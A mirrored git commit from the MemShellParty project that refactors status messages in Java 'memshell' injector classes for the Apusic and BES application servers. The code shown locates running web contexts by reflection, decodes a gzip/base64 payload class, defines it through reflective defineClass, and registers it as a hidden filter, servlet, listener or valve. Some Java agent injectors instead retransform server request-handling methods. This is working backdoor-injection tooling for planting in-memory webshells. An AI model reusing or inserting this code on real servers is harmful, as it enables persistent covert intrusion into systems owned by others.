mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: injector support print some msg
This commit is contained in:
+3
-7
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+59
-23
@@ -19,24 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicFilterInjector {
|
||||
|
||||
String msg = "";
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
msg += "contexts size: " + contexts.size() + "\n";
|
||||
for (Object context : contexts) {
|
||||
Object shell = getShell(context);
|
||||
boolean inject = inject(context, shell);
|
||||
msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n";
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(outputStream);
|
||||
e.printStackTrace(printStream);
|
||||
msg += outputStream.toString();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -50,6 +33,45 @@ public class ApusicFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* context: com.apusic.web.container.WebContainer
|
||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||
@@ -92,7 +114,7 @@ public class ApusicFilterInjector {
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += defineLoader + " loaded \n";
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@@ -107,10 +129,10 @@ public class ApusicFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean inject(Object context, Object filter) throws Exception {
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return false;
|
||||
return;
|
||||
}
|
||||
// addFilterMapping
|
||||
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
|
||||
@@ -127,12 +149,11 @@ public class ApusicFilterInjector {
|
||||
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
||||
Object filterMapper = getFieldValue(context, "filterMapper");
|
||||
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return super.toString() + "\n" + msg;
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -216,4 +237,19 @@ public class ApusicFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+71
-29
@@ -18,24 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicListenerInjector {
|
||||
|
||||
String msg = "";
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
msg += "contexts size: " + contexts.size() + "\n";
|
||||
for (Object context : contexts) {
|
||||
Object shell = getShell(context);
|
||||
boolean inject = inject(context, shell);
|
||||
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(outputStream);
|
||||
e.printStackTrace(printStream);
|
||||
msg += outputStream.toString();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -49,6 +32,45 @@ public class ApusicListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -68,20 +90,26 @@ public class ApusicListenerInjector {
|
||||
}
|
||||
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||
ClassLoader defineLoader;
|
||||
Object obj;
|
||||
try {
|
||||
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||
defineShell(loader);
|
||||
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||
msg += loader + " loaded \n";
|
||||
return obj;
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = loader;
|
||||
} catch (ClassNotFoundException e) {
|
||||
// Apusic 9.0.1
|
||||
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||
defineShell(internalLoader);
|
||||
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||
msg += internalLoader + " loaded \n";
|
||||
return obj;
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -95,19 +123,18 @@ public class ApusicListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean inject(Object context, Object listener) throws Exception {
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
|
||||
return false;
|
||||
return;
|
||||
}
|
||||
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(context, "loadListeners", null, null);
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return super.toString() + "\n" + msg;
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -191,4 +218,19 @@ public class ApusicListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+71
-29
@@ -18,24 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicServletInjector {
|
||||
|
||||
String msg = "";
|
||||
|
||||
public ApusicServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
msg += "contexts size: " + contexts.size() + "\n";
|
||||
for (Object context : contexts) {
|
||||
Object shell = getShell(context);
|
||||
boolean inject = inject(context, shell);
|
||||
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(outputStream);
|
||||
e.printStackTrace(printStream);
|
||||
msg += outputStream.toString();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -49,6 +32,45 @@ public class ApusicServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -68,20 +90,26 @@ public class ApusicServletInjector {
|
||||
}
|
||||
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||
ClassLoader defineLoader;
|
||||
Object obj;
|
||||
try {
|
||||
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||
defineShell(loader);
|
||||
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||
msg += loader + " loaded \n";
|
||||
return obj;
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = loader;
|
||||
} catch (ClassNotFoundException e) {
|
||||
// Apusic 9.0.1
|
||||
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||
defineShell(internalLoader);
|
||||
Object obj = loader.loadClass(getClassName()).newInstance();
|
||||
msg += internalLoader + " loaded \n";
|
||||
return obj;
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -95,20 +123,19 @@ public class ApusicServletInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean inject(Object context, Object servlet) throws Exception {
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
Object servletMapper = getFieldValue(context, "servletMapper");
|
||||
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return false;
|
||||
return;
|
||||
}
|
||||
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return super.toString() + "\n" + msg;
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -192,4 +219,19 @@ public class ApusicServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+1
-1
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+66
-19
@@ -4,30 +4,18 @@ import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BesFilterInjector {
|
||||
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
||||
|
||||
public BesFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,6 +29,45 @@ public class BesFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public BesFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.bes.enterprise.webtier.core.DefaultContext
|
||||
* /opt/bes/lib/bes-engine.jar
|
||||
@@ -73,22 +100,23 @@ public class BesFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -110,7 +138,11 @@ public class BesFilterInjector {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -194,4 +226,19 @@ public class BesFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+63
-13
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class BesListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -23,15 +26,42 @@ public class BesListenerInjector {
|
||||
}
|
||||
|
||||
public BesListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
@@ -62,15 +92,17 @@ public class BesListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -78,7 +110,6 @@ public class BesListenerInjector {
|
||||
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
for (Object eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
System.out.println("listener already exists");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -86,7 +117,11 @@ public class BesListenerInjector {
|
||||
newListeners.add(listener);
|
||||
newListeners.addAll(Arrays.asList(eventListeners));
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
|
||||
System.out.println("listener added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -135,7 +170,7 @@ public class BesListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -163,4 +198,19 @@ public class BesListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+74
-40
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class BesValveInjector {
|
||||
|
||||
public BesValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class BesValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public BesValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
